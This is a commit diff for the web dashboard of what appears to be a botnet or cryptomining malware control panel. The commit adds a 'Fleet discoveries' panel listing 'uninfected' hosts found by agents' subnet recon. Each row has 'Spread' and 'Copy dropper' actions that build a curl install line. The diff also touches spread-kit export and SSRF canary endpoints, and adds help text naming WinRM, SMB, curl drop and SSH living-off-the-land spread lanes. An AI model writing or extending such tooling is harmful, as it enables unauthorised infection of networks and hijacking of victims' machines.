Add Fleet discoveries panel to Deploy Recon for uninfected hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Merges agent subnet recon with manual scans, filters by subnet/port, and live-updates via subnet_discovery_update WS.
This commit is contained in:
@@ -432,6 +432,60 @@ export const api = {
|
|||||||
25_000,
|
25_000,
|
||||||
),
|
),
|
||||||
|
|
||||||
|
reconRelayScan: async (
|
||||||
|
body: import('../types/recon').ReconRelayScanRequest,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<import('../types/recon').ReconRelayScanResponse | null> => {
|
||||||
|
try {
|
||||||
|
return await fetchJSON<import('../types/recon').ReconRelayScanResponse>(
|
||||||
|
'/recon/relay-scan',
|
||||||
|
{ method: 'POST', body: JSON.stringify(body), signal },
|
||||||
|
45_000,
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
getReconHistory: async (): Promise<import('../types/recon').ReconHistoryResponse | null> => {
|
||||||
|
try {
|
||||||
|
return await fetchJSON<import('../types/recon').ReconHistoryResponse>('/recon/history');
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
getSsrfCanaryStatus: async (token: string): Promise<import('../types/recon').ReconSsrfCanaryStatus | null> => {
|
||||||
|
try {
|
||||||
|
return await fetchJSON<import('../types/recon').ReconSsrfCanaryStatus>(
|
||||||
|
`/recon/ssrf-canary/${encodeURIComponent(token)}`,
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
getDiscoveredHosts: async (params?: {
|
||||||
|
subnet?: string;
|
||||||
|
status?: string;
|
||||||
|
}): Promise<import('../types/recon').DiscoveredHostsResponse | null> => {
|
||||||
|
const q = new URLSearchParams();
|
||||||
|
if (params?.subnet) q.set('subnet', params.subnet);
|
||||||
|
if (params?.status) q.set('status', params.status);
|
||||||
|
const qs = q.toString();
|
||||||
|
try {
|
||||||
|
return await fetchJSON<import('../types/recon').DiscoveredHostsResponse>(
|
||||||
|
`/recon/discovered-hosts${qs ? `?${qs}` : ''}`,
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||||
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
|||||||
292
server/web/src/components/Recon/FleetDiscoveriesPanel.tsx
Normal file
292
server/web/src/components/Recon/FleetDiscoveriesPanel.tsx
Normal file
@@ -0,0 +1,292 @@
|
|||||||
|
import { memo, useCallback, useEffect, useMemo, useState } from 'react';
|
||||||
|
import { Link } from 'react-router-dom';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import type { Agent } from '../../types';
|
||||||
|
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
|
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
|
||||||
|
import {
|
||||||
|
DEFAULT_DISCOVERY_FILTERS,
|
||||||
|
discoveryStatusLabel,
|
||||||
|
discoverySubnetOptions,
|
||||||
|
filterDiscoveryRows,
|
||||||
|
fmtDiscoveryTime,
|
||||||
|
manualScanToDiscovery,
|
||||||
|
mergeDiscoveryRows,
|
||||||
|
parseSubnetDiscoveryUpdate,
|
||||||
|
type DiscoveryFilters,
|
||||||
|
} from '../../help/fleetDiscoveries';
|
||||||
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
|
|
||||||
|
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||||
|
const [ok, setOk] = useState(false);
|
||||||
|
const copy = () => {
|
||||||
|
void navigator.clipboard?.writeText(text).then(() => {
|
||||||
|
setOk(true);
|
||||||
|
setTimeout(() => setOk(false), 1500);
|
||||||
|
}).catch(() => {});
|
||||||
|
};
|
||||||
|
return (
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||||
|
{ok ? 'Copied' : label}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
|
||||||
|
if (row.source === 'manual') return 'Manual scan';
|
||||||
|
if (!row.reporter_agent_id) return '—';
|
||||||
|
const agent = agents.find((a) => a.id === row.reporter_agent_id);
|
||||||
|
return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
const DiscoveryRow = memo(function DiscoveryRow({
|
||||||
|
row,
|
||||||
|
agents,
|
||||||
|
serverBase,
|
||||||
|
pinnedBuildId,
|
||||||
|
onScanDeeper,
|
||||||
|
scanningIp,
|
||||||
|
}: {
|
||||||
|
row: DiscoveredHostRow;
|
||||||
|
agents: Agent[];
|
||||||
|
serverBase: string;
|
||||||
|
pinnedBuildId: string;
|
||||||
|
onScanDeeper: (ip: string) => void;
|
||||||
|
scanningIp: string;
|
||||||
|
}) {
|
||||||
|
const dropper = useMemo(
|
||||||
|
() => curlInstallLine(serverBase, pinnedBuildId),
|
||||||
|
[serverBase, pinnedBuildId],
|
||||||
|
);
|
||||||
|
const uninfected = row.status === 'uninfected';
|
||||||
|
|
||||||
|
return (
|
||||||
|
<tr data-testid={`dr-discovery-row-${row.ip}`}>
|
||||||
|
<td className="dr-disc-ip font-tech">{row.ip}</td>
|
||||||
|
<td>
|
||||||
|
<div className="dr-disc-ports">
|
||||||
|
{row.open_ports.length === 0 ? (
|
||||||
|
<span className="dr-disc-port muted">—</span>
|
||||||
|
) : (
|
||||||
|
row.open_ports.map((p) => (
|
||||||
|
<span key={p} className="dr-disc-port open">
|
||||||
|
{p}
|
||||||
|
</span>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td className="dr-disc-reporter">{reporterLabel(row, agents)}</td>
|
||||||
|
<td className="dr-disc-subnet">{row.subnet_prefix || '—'}</td>
|
||||||
|
<td className="dr-disc-seen">{fmtDiscoveryTime(row.last_seen)}</td>
|
||||||
|
<td>
|
||||||
|
<span
|
||||||
|
className={`dr-disc-badge${uninfected ? ' uninfected' : ''}`}
|
||||||
|
data-testid={`dr-badge-${row.ip}`}
|
||||||
|
>
|
||||||
|
{discoveryStatusLabel(row)}
|
||||||
|
</span>
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<div className="dr-disc-actions">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
disabled={scanningIp === row.ip}
|
||||||
|
onClick={() => onScanDeeper(row.ip)}
|
||||||
|
>
|
||||||
|
{scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
|
||||||
|
</button>
|
||||||
|
<Link to={crucibleSpreadLink(row.ip)} className="btn btn-outline btn-sm">
|
||||||
|
Spread
|
||||||
|
</Link>
|
||||||
|
<CopyChip text={dropper} label="Copy dropper" />
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
export interface FleetDiscoveriesPanelProps {
|
||||||
|
manualScans: ReconScanReport[];
|
||||||
|
onScanDeeper: (ip: string) => void;
|
||||||
|
scanningIp: string;
|
||||||
|
serverBase: string;
|
||||||
|
pinnedBuildId: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function FleetDiscoveriesPanel({
|
||||||
|
manualScans,
|
||||||
|
onScanDeeper,
|
||||||
|
scanningIp,
|
||||||
|
serverBase,
|
||||||
|
pinnedBuildId,
|
||||||
|
}: FleetDiscoveriesPanelProps) {
|
||||||
|
const { latestMessage, agents } = useWebSocket();
|
||||||
|
const [agentHosts, setAgentHosts] = useState<DiscoveredHost[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [apiMissing, setApiMissing] = useState(false);
|
||||||
|
const [filters, setFilters] = useState<DiscoveryFilters>(DEFAULT_DISCOVERY_FILTERS);
|
||||||
|
|
||||||
|
const load = useCallback(async () => {
|
||||||
|
try {
|
||||||
|
const data = await api.getDiscoveredHosts({ status: 'uninfected' });
|
||||||
|
if (!data) {
|
||||||
|
setApiMissing(true);
|
||||||
|
setAgentHosts([]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setApiMissing(false);
|
||||||
|
setAgentHosts(data.hosts ?? []);
|
||||||
|
} catch {
|
||||||
|
setApiMissing(true);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
void load();
|
||||||
|
}, [load]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
|
||||||
|
const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
|
||||||
|
if (incoming.length === 0) return;
|
||||||
|
setAgentHosts((prev) => {
|
||||||
|
const map = new Map(prev.map((h) => [h.ip, h]));
|
||||||
|
for (const h of incoming) {
|
||||||
|
const old = map.get(h.ip);
|
||||||
|
if (!old) {
|
||||||
|
map.set(h.ip, h);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
map.set(h.ip, {
|
||||||
|
...old,
|
||||||
|
...h,
|
||||||
|
open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return [...map.values()];
|
||||||
|
});
|
||||||
|
setApiMissing(false);
|
||||||
|
setLoading(false);
|
||||||
|
}, [latestMessage]);
|
||||||
|
|
||||||
|
const manualHosts = useMemo(
|
||||||
|
() => manualScans.map(manualScanToDiscovery),
|
||||||
|
[manualScans],
|
||||||
|
);
|
||||||
|
|
||||||
|
const merged = useMemo(
|
||||||
|
() => mergeDiscoveryRows(agentHosts, manualHosts),
|
||||||
|
[agentHosts, manualHosts],
|
||||||
|
);
|
||||||
|
|
||||||
|
const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);
|
||||||
|
|
||||||
|
const filtered = useMemo(
|
||||||
|
() => filterDiscoveryRows(merged, filters),
|
||||||
|
[merged, filters],
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className="neon-card dr-fleet-discoveries" aria-label="Fleet discoveries">
|
||||||
|
<div className="dr-fleet-head">
|
||||||
|
<h2 className="dr-section-title" style={{ margin: 0 }}>
|
||||||
|
Fleet discoveries <HelpTip field="dr_fleet_discoveries" />
|
||||||
|
</h2>
|
||||||
|
<span className="dr-fleet-count" data-testid="dr-discovery-count">
|
||||||
|
{filtered.length} uninfected
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="dr-fleet-filters">
|
||||||
|
<label className="dr-field">
|
||||||
|
<span>Subnet <HelpTip field="dr_fleet_subnet_filter" /></span>
|
||||||
|
<select
|
||||||
|
className="input"
|
||||||
|
value={filters.subnet}
|
||||||
|
onChange={(e) => setFilters((f) => ({ ...f, subnet: e.target.value }))}
|
||||||
|
data-testid="dr-subnet-filter"
|
||||||
|
>
|
||||||
|
<option value="">All subnets</option>
|
||||||
|
{subnetOptions.map((s) => (
|
||||||
|
<option key={s} value={s}>
|
||||||
|
{s}
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
<label className="dr-field">
|
||||||
|
<span>Has port <HelpTip field="dr_fleet_port_filter" /></span>
|
||||||
|
<input
|
||||||
|
className="input"
|
||||||
|
type="number"
|
||||||
|
min={1}
|
||||||
|
max={65535}
|
||||||
|
placeholder="e.g. 22"
|
||||||
|
value={filters.port}
|
||||||
|
onChange={(e) => setFilters((f) => ({ ...f, port: e.target.value }))}
|
||||||
|
data-testid="dr-port-filter"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<label className="dr-field">
|
||||||
|
<span>Sort <HelpTip field="dr_fleet_sort" /></span>
|
||||||
|
<select
|
||||||
|
className="input"
|
||||||
|
value={filters.sort}
|
||||||
|
onChange={(e) =>
|
||||||
|
setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
|
||||||
|
}
|
||||||
|
data-testid="dr-sort-filter"
|
||||||
|
>
|
||||||
|
<option value="last_seen_desc">Last seen ↓</option>
|
||||||
|
<option value="last_seen_asc">Last seen ↑</option>
|
||||||
|
<option value="ip_asc">IP A→Z</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{loading ? (
|
||||||
|
<p className="dr-empty">Loading agent discoveries…</p>
|
||||||
|
) : filtered.length === 0 ? (
|
||||||
|
<p className="dr-empty" data-testid="dr-discovery-empty">
|
||||||
|
{apiMissing && manualHosts.length === 0
|
||||||
|
? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
|
||||||
|
: 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<div className="dr-disc-table-wrap">
|
||||||
|
<table className="dr-disc-table" aria-label="Discovered uninfected hosts">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>IP</th>
|
||||||
|
<th>Open ports</th>
|
||||||
|
<th>Reporter</th>
|
||||||
|
<th>Subnet</th>
|
||||||
|
<th>Last seen</th>
|
||||||
|
<th>Status</th>
|
||||||
|
<th>Actions</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{filtered.map((row) => (
|
||||||
|
<DiscoveryRow
|
||||||
|
key={row.ip}
|
||||||
|
row={row}
|
||||||
|
agents={agents}
|
||||||
|
serverBase={serverBase}
|
||||||
|
pinnedBuildId={pinnedBuildId}
|
||||||
|
onScanDeeper={onScanDeeper}
|
||||||
|
scanningIp={scanningIp}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
}
|
||||||
82
server/web/src/help/fleetDiscoveries.test.ts
Normal file
82
server/web/src/help/fleetDiscoveries.test.ts
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import {
|
||||||
|
DEFAULT_DISCOVERY_FILTERS,
|
||||||
|
filterDiscoveryRows,
|
||||||
|
manualScanToDiscovery,
|
||||||
|
mergeDiscoveryRows,
|
||||||
|
parseSubnetDiscoveryUpdate,
|
||||||
|
sortDiscoveryRows,
|
||||||
|
} from './fleetDiscoveries';
|
||||||
|
import type { DiscoveredHost, ReconScanReport } from '../types/recon';
|
||||||
|
|
||||||
|
const agentHost = (ip: string, ports: number[], last: string): DiscoveredHost => ({
|
||||||
|
ip,
|
||||||
|
open_ports: ports,
|
||||||
|
reporter_agent_id: 'agent-1',
|
||||||
|
subnet_prefix: '10.0.1.x',
|
||||||
|
last_seen: last,
|
||||||
|
status: 'uninfected',
|
||||||
|
source: 'agent',
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('parseSubnetDiscoveryUpdate', () => {
|
||||||
|
it('parses flat row payload from WS', () => {
|
||||||
|
const hosts = parseSubnetDiscoveryUpdate({
|
||||||
|
ip: '10.0.1.50',
|
||||||
|
open_ports: [22, 445],
|
||||||
|
reporter_agent_id: 'a1',
|
||||||
|
subnet_prefix: '10.0.1',
|
||||||
|
last_seen: '2026-06-07T10:00:00Z',
|
||||||
|
status: 'uninfected',
|
||||||
|
});
|
||||||
|
expect(hosts).toHaveLength(1);
|
||||||
|
expect(hosts[0].open_ports).toEqual([22, 445]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('mergeDiscoveryRows', () => {
|
||||||
|
it('merges manual scan ports into agent row by IP', () => {
|
||||||
|
const manual: ReconScanReport = {
|
||||||
|
host: '10.0.1.50',
|
||||||
|
scanned_at: '2026-06-07T12:00:00Z',
|
||||||
|
ports: [
|
||||||
|
{ port: 22, open: true },
|
||||||
|
{ port: 80, open: true },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
const merged = mergeDiscoveryRows(
|
||||||
|
[agentHost('10.0.1.50', [445], '2026-06-07T10:00:00Z')],
|
||||||
|
[manualScanToDiscovery(manual)],
|
||||||
|
);
|
||||||
|
expect(merged[0].open_ports).toEqual([22, 80, 445]);
|
||||||
|
expect(merged[0].last_seen).toBe('2026-06-07T12:00:00Z');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('filterDiscoveryRows', () => {
|
||||||
|
const rows = mergeDiscoveryRows(
|
||||||
|
[
|
||||||
|
agentHost('10.0.1.22', [22], '2026-06-07T10:00:00Z'),
|
||||||
|
{
|
||||||
|
...agentHost('10.0.2.5', [5985], '2026-06-07T11:00:00Z'),
|
||||||
|
subnet_prefix: '10.0.2.x',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
|
||||||
|
it('filters by subnet prefix', () => {
|
||||||
|
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, subnet: '10.0.1' });
|
||||||
|
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('filters by open port', () => {
|
||||||
|
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, port: '22' });
|
||||||
|
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('sorts by last_seen descending', () => {
|
||||||
|
const out = sortDiscoveryRows(rows, 'last_seen_desc');
|
||||||
|
expect(out[0].ip).toBe('10.0.2.5');
|
||||||
|
});
|
||||||
|
});
|
||||||
176
server/web/src/help/fleetDiscoveries.ts
Normal file
176
server/web/src/help/fleetDiscoveries.ts
Normal file
@@ -0,0 +1,176 @@
|
|||||||
|
import { ipToSubnet } from './reconRisk';
|
||||||
|
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../types/recon';
|
||||||
|
|
||||||
|
export type DiscoverySort = 'last_seen_desc' | 'last_seen_asc' | 'ip_asc';
|
||||||
|
|
||||||
|
export interface DiscoveryFilters {
|
||||||
|
subnet: string;
|
||||||
|
port: string;
|
||||||
|
sort: DiscoverySort;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const DEFAULT_DISCOVERY_FILTERS: DiscoveryFilters = {
|
||||||
|
subnet: '',
|
||||||
|
port: '',
|
||||||
|
sort: 'last_seen_desc',
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Parse dashboard WS `subnet_discovery_update` — row payload or batch wrapper. */
|
||||||
|
export function parseSubnetDiscoveryUpdate(payload: unknown): DiscoveredHost[] {
|
||||||
|
if (!payload || typeof payload !== 'object') return [];
|
||||||
|
const raw = payload as Record<string, unknown>;
|
||||||
|
if (Array.isArray(raw.hosts)) {
|
||||||
|
return raw.hosts.map(normalizeDiscoveredHost).filter(Boolean) as DiscoveredHost[];
|
||||||
|
}
|
||||||
|
if (raw.ip || raw.host) {
|
||||||
|
const one = normalizeDiscoveredHost(raw);
|
||||||
|
return one ? [one] : [];
|
||||||
|
}
|
||||||
|
if (raw.host && typeof raw.host === 'object') {
|
||||||
|
const one = normalizeDiscoveredHost(raw.host);
|
||||||
|
return one ? [one] : [];
|
||||||
|
}
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizeDiscoveredHost(raw: unknown): DiscoveredHost | null {
|
||||||
|
if (!raw || typeof raw !== 'object') return null;
|
||||||
|
const h = raw as Record<string, unknown>;
|
||||||
|
const ip = String(h.ip ?? h.host ?? '').trim();
|
||||||
|
if (!ip) return null;
|
||||||
|
const ports = normalizePorts(h.open_ports ?? h.ports);
|
||||||
|
const subnet = String(h.subnet_prefix ?? h.subnet ?? ipToSubnet(ip)).trim() || ipToSubnet(ip);
|
||||||
|
const lastSeen = String(h.last_seen ?? h.scanned_at ?? new Date().toISOString()).trim();
|
||||||
|
return {
|
||||||
|
ip,
|
||||||
|
open_ports: ports,
|
||||||
|
reporter_agent_id: h.reporter_agent_id ? String(h.reporter_agent_id) : undefined,
|
||||||
|
subnet_prefix: subnet,
|
||||||
|
http_title: h.http_title ? String(h.http_title) : undefined,
|
||||||
|
first_seen: h.first_seen ? String(h.first_seen) : undefined,
|
||||||
|
last_seen: lastSeen,
|
||||||
|
status: normalizeStatus(h.status),
|
||||||
|
source: 'agent',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizePorts(raw: unknown): number[] {
|
||||||
|
if (!Array.isArray(raw)) return [];
|
||||||
|
return [...new Set(raw.map((p) => Number(p)).filter((n) => Number.isFinite(n) && n > 0))].sort(
|
||||||
|
(a, b) => a - b,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizeStatus(raw: unknown): DiscoveredHost['status'] {
|
||||||
|
const s = String(raw ?? 'uninfected').toLowerCase();
|
||||||
|
if (s === 'spread_attempted' || s === 'agent_online') return s;
|
||||||
|
return 'uninfected';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function manualScanToDiscovery(report: ReconScanReport): DiscoveredHost {
|
||||||
|
return {
|
||||||
|
ip: report.host.trim(),
|
||||||
|
open_ports: report.ports.filter((p) => p.open).map((p) => p.port),
|
||||||
|
subnet_prefix: ipToSubnet(report.host) || report.host,
|
||||||
|
http_title: report.crawl?.pages?.[0]?.title,
|
||||||
|
first_seen: report.scanned_at,
|
||||||
|
last_seen: report.scanned_at,
|
||||||
|
status: 'uninfected',
|
||||||
|
source: 'manual',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function mergeDiscoveryRows(
|
||||||
|
agentHosts: DiscoveredHost[],
|
||||||
|
manualHosts: DiscoveredHost[],
|
||||||
|
): DiscoveredHostRow[] {
|
||||||
|
const map = new Map<string, DiscoveredHostRow>();
|
||||||
|
|
||||||
|
for (const h of agentHosts) {
|
||||||
|
map.set(h.ip, { ...h, source: 'agent' });
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const m of manualHosts) {
|
||||||
|
const prev = map.get(m.ip);
|
||||||
|
if (!prev) {
|
||||||
|
map.set(m.ip, { ...m, source: 'manual' });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
map.set(m.ip, {
|
||||||
|
...prev,
|
||||||
|
open_ports: [...new Set([...prev.open_ports, ...m.open_ports])].sort((a, b) => a - b),
|
||||||
|
last_seen:
|
||||||
|
new Date(m.last_seen).getTime() >= new Date(prev.last_seen).getTime()
|
||||||
|
? m.last_seen
|
||||||
|
: prev.last_seen,
|
||||||
|
http_title: m.http_title || prev.http_title,
|
||||||
|
source: prev.source === 'agent' ? 'agent' : 'manual',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
return [...map.values()];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function filterDiscoveryRows(
|
||||||
|
rows: DiscoveredHostRow[],
|
||||||
|
filters: DiscoveryFilters,
|
||||||
|
): DiscoveredHostRow[] {
|
||||||
|
let out = rows.filter((r) => r.status === 'uninfected');
|
||||||
|
const subnet = filters.subnet.trim();
|
||||||
|
if (subnet) {
|
||||||
|
const needle = subnet.toLowerCase();
|
||||||
|
out = out.filter(
|
||||||
|
(r) =>
|
||||||
|
r.subnet_prefix.toLowerCase().includes(needle) ||
|
||||||
|
r.ip.toLowerCase().startsWith(needle.replace('.x', '')),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const port = parseInt(filters.port, 10);
|
||||||
|
if (Number.isFinite(port) && port > 0) {
|
||||||
|
out = out.filter((r) => r.open_ports.includes(port));
|
||||||
|
}
|
||||||
|
return sortDiscoveryRows(out, filters.sort);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function sortDiscoveryRows(
|
||||||
|
rows: DiscoveredHostRow[],
|
||||||
|
sort: DiscoverySort,
|
||||||
|
): DiscoveredHostRow[] {
|
||||||
|
const copy = [...rows];
|
||||||
|
if (sort === 'ip_asc') {
|
||||||
|
copy.sort((a, b) => a.ip.localeCompare(b.ip, undefined, { numeric: true }));
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
copy.sort((a, b) => {
|
||||||
|
const ta = new Date(a.last_seen).getTime();
|
||||||
|
const tb = new Date(b.last_seen).getTime();
|
||||||
|
return sort === 'last_seen_asc' ? ta - tb : tb - ta;
|
||||||
|
});
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function discoveryStatusLabel(row: DiscoveredHostRow): string {
|
||||||
|
if (row.status === 'agent_online') return 'In fleet';
|
||||||
|
if (row.status === 'spread_attempted') return 'Spread attempted';
|
||||||
|
return 'Not in fleet';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function discoverySubnetOptions(rows: DiscoveredHostRow[]): string[] {
|
||||||
|
const set = new Set<string>();
|
||||||
|
for (const r of rows) {
|
||||||
|
if (r.subnet_prefix) set.add(r.subnet_prefix);
|
||||||
|
}
|
||||||
|
return [...set].sort();
|
||||||
|
}
|
||||||
|
|
||||||
|
export function fmtDiscoveryTime(ts?: string): string {
|
||||||
|
if (!ts) return '—';
|
||||||
|
const d = new Date(ts);
|
||||||
|
if (Number.isNaN(d.getTime())) return ts;
|
||||||
|
return d.toLocaleString([], {
|
||||||
|
month: 'short',
|
||||||
|
day: 'numeric',
|
||||||
|
hour: '2-digit',
|
||||||
|
minute: '2-digit',
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -115,6 +115,10 @@ describe('UI_HELP', () => {
|
|||||||
'dr_overview',
|
'dr_overview',
|
||||||
'dr_port_matrix',
|
'dr_port_matrix',
|
||||||
'dr_path_prefix',
|
'dr_path_prefix',
|
||||||
|
'dr_fleet_discoveries',
|
||||||
|
'dr_fleet_subnet_filter',
|
||||||
|
'dr_fleet_port_filter',
|
||||||
|
'dr_fleet_sort',
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
it('defines help for every documented UI key', () => {
|
it('defines help for every documented UI key', () => {
|
||||||
|
|||||||
@@ -237,4 +237,12 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
|
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
|
||||||
dr_path_prefix:
|
dr_path_prefix:
|
||||||
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
|
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
|
||||||
|
dr_fleet_discoveries:
|
||||||
|
'Merged view of agent subnet recon (WS subnet_discovery_update) and your manual POST /api/v1/recon/scan results. Shows uninfected LAN hosts with open fleet ports — not yet registered as agents.',
|
||||||
|
dr_fleet_subnet_filter:
|
||||||
|
'Narrow discoveries to one /24 prefix (e.g. 10.0.1.x). Agent reporters tag subnet_prefix from their local interface.',
|
||||||
|
dr_fleet_port_filter:
|
||||||
|
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
|
||||||
|
dr_fleet_sort:
|
||||||
|
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -190,3 +190,120 @@
|
|||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
font-size: 0.82rem;
|
font-size: 0.82rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.dr-fleet-discoveries {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fleet-head {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fleet-count {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fleet-filters {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||||
|
gap: 0.65rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 720px) {
|
||||||
|
.dr-fleet-filters {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fleet-filters .dr-field span {
|
||||||
|
display: block;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-transform: uppercase;
